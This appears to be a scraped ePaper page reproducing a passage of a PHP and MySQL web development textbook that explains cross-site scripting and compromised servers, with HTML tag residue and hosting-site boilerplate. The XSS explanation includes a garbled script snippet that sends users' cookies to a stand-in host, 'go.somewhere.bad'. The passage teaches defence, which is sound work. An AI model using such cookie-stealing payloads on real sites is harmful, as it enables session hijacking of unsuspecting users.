13.09.2016 Views

PHP and MySQL Web Development 4th Ed-tqw-_darksiderg

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

Underst<strong>and</strong>ing Who We’re Dealing With<br />

365<br />

Malicious Code Injection<br />

One type of attack that has been particularly effective via the <strong>Web</strong> is what we might call<br />

malicious code injection.The most famous of these is the Cross Site Scripting (known as<br />

XSS, so as not to be confused with Cascading Style Sheets—CSS) attack.What is particularly<br />

troubling about these attacks is that no obvious or immediate loss of data occurs,<br />

but instead some sort of code executes, causing varying degrees of information loss or<br />

redirection of users, possibly without their even noticing it.<br />

Cross Site Scripting basically works as follows:<br />

1. The malicious user, in a form that will then turn around <strong>and</strong> display to other people<br />

the input it was given (such as a comment entry form or message board entry<br />

form), enters text that not only represents the message they want to enter, but<br />

some script to execute on the client, such as the following:<br />

="text/javascript"><br />

this.document = "go.somewhere.bad?cookie=" + this.cookie;<br />

="text/javascript"><br />

2. The malicious user then submits the form <strong>and</strong> waits.<br />

3. The next user of the system who goes to view the page that contains that text<br />

entered by the malicious user will execute the script code that was entered. In our<br />

simple example, the user will be redirected, along with any cookie information<br />

from the originating site.<br />

Although this is a trivial example, client-side scripting is a very powerful language, <strong>and</strong><br />

the possibilities for what exactly this attack could do are frightening.<br />

Compromised Server<br />

Although the effects of a compromised server can include the effects of many of the<br />

threats previously listed, it is still worth noting that sometimes the goal of invaders will<br />

be to gain access to our system, most often as a super user (administrator on Windowsbased<br />

systems <strong>and</strong> root on Unix-like systems).With this, they have nearly free reign over<br />

the compromised computer <strong>and</strong> can execute any program they want, shut the computer<br />

off, or install software that does things we likely would not appreciate.<br />

We want to be particularly vigilant against this type of attack because one of the first<br />

things attackers are likely to do after they have compromised a server is to cover their<br />

tracks <strong>and</strong> hide all the evidence.<br />

Underst<strong>and</strong>ing Who We’re Dealing With<br />

Although we might instinctively classify all those who cause security problems as bad or<br />

malicious people intent on causing us harm, there are often other actors in this arena<br />

who are unwitting participants <strong>and</strong> might not appreciate being called such.

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!